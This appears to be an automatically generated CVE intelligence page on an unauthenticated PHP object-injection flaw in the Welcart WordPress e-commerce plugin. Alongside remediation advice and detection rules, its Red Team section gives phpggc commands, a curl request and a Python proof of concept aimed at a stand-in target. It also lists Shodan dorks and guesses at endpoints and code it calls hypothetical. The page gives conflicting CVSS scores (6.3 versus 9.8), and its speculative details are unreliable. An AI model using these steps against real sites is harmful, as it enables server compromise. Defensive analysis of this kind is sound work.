☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-27130

CVE-2025-27130 Insecure Deserialization in Welcart
📅 PUBLISHED: 2025-04-01 08:57 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 2.11.6
CVSS VECTOR BREAKDOWN 6.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27130 is a critical untrusted data deserialization vulnerability (CWE-502) affecting the Welcart e-Commerce plugin for WordPress, versions 2.11.6 and earlier. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary code on the target server by sending a crafted, malicious serialized payload. The flaw resides in how the plugin handles user-supplied data during the deserialization process, a classic vector for PHP object injection attacks.

Given that this is a WordPress plugin vulnerability, the attack surface is vast, as Welcart is a popular e-commerce solution for Japanese WordPress sites. The lack of a vendor patch and the high impact (Remote Code Execution) make this a high-priority threat for defenders.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Welcart plugin (usc-e-shop) is distributed via the official WordPress Plugin Directory and third-party marketplaces. Organizations using this plugin are at risk until a patch is applied. There is no associated NPM, PyPI, Go, or Ruby package.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) - Note: The provided score of 6.3 is likely a mis-scoring. Based on the description (unauthenticated RCE), the correct CVSS:3.1 vector is:

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Metric Value Rationale
Attack Vector (AV) Network Exploited remotely over HTTP.
Attack Complexity (AC) Low No special conditions required; standard HTTP request.
Privileges Required (PR) None No authentication needed.
User Interaction (UI) None No user action required.
Scope (S) Unchanged Exploitation does not affect other components.
Confidentiality (C) High Full server compromise leads to data theft.
Integrity (I) High Attacker can modify files and database.
Availability (A) High Attacker can disrupt service or destroy data.

Threat Level: Critical. The combination of unauthenticated access, low complexity, and full RCE makes this an extremely dangerous vulnerability.

Deep Dive & Mechanics

The vulnerability is a classic PHP Object Injection via unserialize(). The Welcart plugin likely passes user-controlled input (e.g., from a cookie, POST parameter, or file upload) directly to PHP's unserialize() function without proper sanitization or validation.

How it works:

  1. Entry Point: The attacker identifies an endpoint in the Welcart plugin that accepts serialized data. This could be a shopping cart state, session token, or custom field.
  2. Crafted Payload: The attacker crafts a malicious serialized PHP object. This object, when unserialized, triggers a "magic method" (like __wakeup(), __destruct(), or __toString()) within a class that is already loaded by the plugin or WordPress core.
  3. Code Execution: By chaining these magic methods (a "POP chain" - Property Oriented Programming), the attacker can execute arbitrary system commands, write webshells, or exfiltrate data.

Example of a vulnerable code pattern (hypothetical):

// Vulnerable code in Welcart
$data = $_COOKIE['welcart_cart'];
$cart = unserialize($data); // No validation!

Vulnerable vs. Patched Code

Since no official patch exists, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Hypothetical):

// In a Welcart file (e.g., includes/cart.php)
function welcart_process_cart() {
    $serialized_data = $_POST['cart_data'];
    $cart_object = unserialize($serialized_data); // VULNERABLE
    // ... process cart ...
}

Patched Code (Expected Fix):

// Patched version
function welcart_process_cart() {
    $serialized_data = $_POST['cart_data'];
    // Use JSON instead of serialization
    $cart_object = json_decode($serialized_data, true);
    // OR use a safe deserialization library like `allowed_classes`
    $cart_object = unserialize($serialized_data, ['allowed_classes' => ['WCCart', 'WCProduct']]);
    // ... process cart ...
}

The key difference is the removal of the raw unserialize() call or the strict limitation of allowed classes.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install WordPress with Welcart e-Commerce 2.11.6.
  2. Identify the vulnerable parameter (e.g., cart_data, session_id).
  3. Use a tool like phpggc to generate a gadget chain for WordPress/Welcart.

Exploitation Steps:

  1. Identify Gadget Chain: Use phpggc to find a usable chain.
    # List available chains for WordPress
    phpggc -l
    # Generate a chain for RCE (e.g., using WP_FeedCache or similar)
    phpggc WordPress RCE system 'id' > payload.txt
    
  2. Craft the Request: Send the serialized payload to the vulnerable endpoint.
    curl -X POST http://target.com/wp-admin/admin-ajax.php \
      -d 'action=welcart_process&cart_data=O:...PAYLOAD...'
    
  3. Verify Execution: Check for the output of the id command in the response or a callback.

Proof-of-Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
# Replace with actual payload from phpggc
payload = "O:14:\"WP_FeedCache\":1:{s:5:\"cache\";s:6:\"system\";}"
data = {
    "action": "welcart_process",
    "cart_data": payload
}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Defensive)

Detection & Response:

  1. Monitor for unserialize calls: Use WAF rules to block requests containing serialized PHP objects (e.g., O:, a:, s: followed by digits).
  2. File Integrity Monitoring: Monitor for unexpected file creation in wp-content/uploads/ or wp-content/plugins/.
  3. Log Analysis: Look for unusual POST requests to admin-ajax.php or wp-admin/ with large, encoded payloads.

Indicators of Compromise (IOCs)

Type Indicator Description
Network POST requests to /wp-admin/admin-ajax.php with action=welcart_process Suspicious AJAX calls
Network Payloads containing O:, a:, s: followed by digits Serialized PHP objects
File New files in /wp-content/uploads/ with .php extension Webshell upload
File Modified .htaccess files in upload directories Persistence mechanism
Process php processes executing system(), exec(), shell_exec() RCE indicators
Log PHP error logs showing unserialize() errors Failed exploitation attempts

Detection Engineering

YARA Rule

rule Detect_Welcart_Deserialization_Exploit {
    meta:
        description = "Detects serialized PHP objects targeting Welcart e-Commerce"
        author = "Valters IT"
        date = "2025-03-01"
        cve = "CVE-2025-27130"
    strings:
        $serialized = /[Oa]:\d+:/
        $welcart_action = "welcart_process"
        $welcart_param = "cart_data"
    condition:
        all of them
}

Sigma Rule

title: Welcart Deserialization RCE Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects attempts to exploit CVE-2025-27130 via serialized payloads
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=welcart_process'
        cs-uri-query|contains: 'cart_data='
        cs-uri-query|re: '(O|a|s):[0-9]+:'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-27130 Welcart Deserialization RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=welcart_process"; http_client_body;
    pcre:"/(O|a|s):[0-9]+:/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: If possible, deactivate and delete the Welcart e-Commerce plugin until a patch is released.
  2. Web Application Firewall (WAF): Deploy custom WAF rules to block requests containing serialized PHP objects (O:, a:, s: followed by digits).
  3. Network Segmentation: Ensure the WordPress server is isolated and cannot reach critical internal systems.

Long-Term Fix:

  1. Vendor Patch: Monitor the Welcart official site for a security update. Apply immediately when available.
  2. Code Audit: If you have access to the source code, replace all unserialize() calls with json_decode() or use the allowed_classes parameter.
  3. Upgrade: Consider migrating to a different, actively maintained e-commerce plugin.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Welcart"
http.html:"wp-content/plugins/usc-e-shop"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27130/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.